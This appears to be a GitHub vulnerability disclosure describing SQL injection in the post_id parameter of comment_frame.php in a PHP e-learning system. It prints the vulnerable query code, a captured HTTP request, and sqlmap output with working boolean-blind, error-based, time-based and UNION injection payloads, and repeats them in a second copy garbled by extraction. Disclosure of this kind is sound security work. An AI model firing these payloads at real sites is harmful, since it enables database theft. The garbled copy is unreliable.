




 main ▾



[water_cve](#) / E-learning System comment_frame.php post_id parameter SQL injection.pdf

 **E1CHO** Add files via upload History

 1 contributor

250 KB 

The `post_id` parameter in `COMMENT_frame.php` file of e-learning System has SQL injection vulnerability, which can be exploited by attackers to steal malicious information.

Source level without any protection

```

        if (isset($_GET['post_id'])) {
            $post_id = $_GET['post_id'];
        }

        $user_query = mysqli_query($con, "SELECT added_by, courseCode, user_to FROM posts WHERE id=$post_id");
        $row = mysqli_fetch_array($user_query);

        $posted_to = $row['added_by'];
        $courseCode = $row['courseCode'];
        $user_to = $row['user_to'];
    }
}

```

Data Packet Display

```
GET /comment_frame.php?post_id=4 HTTP/1.1
Host: 192.168.109.169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.109.169/classRoom.php?classCode=class101_a
DNT: 1
Connection: close
Cookie: PHPSESSID=9f3d3e3c333333333333333333333333
Upgrade-Insecure-Requests: 1
```

Sqlmap attack

```

1796[0x123.00.07] [INFO] GET parameter post_id is Generic UNION query (NULL) - 1 to 20 columns injectable
1797GET parameter post_id is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y
1798sqlmap identified the following injection point(s) with a total of 60 HTTP(s) requests:
1799//de
1800c://Parameter: post_id (GET)
1801Type: boolean-based blind
1802Title: AND boolean-based blind - WHERE or HAVING clause
1803Payload: post_id=2' AND 9985=9985 AND 'KMiH'='KMiH
1804
1805Type: error-based
1806Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
1807Payload: post_id=2' AND (SELECT 5213 FROM(SELECT COUNT(*), CONCAT(0x7178787171,(SELECT (ELT(5213=5213,1))),0x71786b6b6b6b6b6b,FLOOR(RAND(0+2)))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'gAQr'='gAQr
1808
1809Type: time-based blind
1810Title: MySQL >= 5.0.12 and time-based blind (query SLEEP)
1811Payload: post_id=2' AND (SELECT 6796 FROM (SELECT(SLEEP(5))))SmpI AND 'TFwM'=TFwM
1812
1813Type: UNION query
1814Title: Generic UNION query (NULL) - 8 columns
1815Payload: post_id=2' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178787171,0x684e61576e586f4d55444e472676156b4dc574c65616e6943584e45494ac6e254487443445271544e,0x71786b6b71) -- -
1816--

```

Payload

...

...

Parameter: post_id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: post id=2' AND 9985=9985 AND 'KMIh'='KMIh

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

```
Payload:      post_id=2'      AND      (SELECT      5213      FROM(SELECT
COUNT(*),CONCAT(0x7178787171,(SELECT
(ELT(5213=5213,1))),0x71786b6b71,FLOOR(RAND(0)*2)))x      FROM
```

INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'gAQR'='gAQR

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: post_id=2' AND (SELECT 6796 FROM (SELECT(SLEEP(5)))Smpi) AND 'TFwM'='TFwM

Type: UNION query

Title: Generic UNION query (NULL) - 8 columns

Payload: post_id=2' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178787171,0x684e61576e586f4d55444e72
6761566a4c574c65616e6943584e54594a6e6254487443445271544e,0x71786b6b71)-- -

[23:00:13] [INFO] the back-end DBMS is MySQL

web application technology: Apache 2.4.39, PHP 7.3.4, PHP

back-end DBMS: MySQL >= 5.0

Download the source code

[https://www.sourcecodester.com/php-simple-e-learning-system-source-co
de](https://www.sourcecodester.com/php-simple-e-learning-system-source-code)
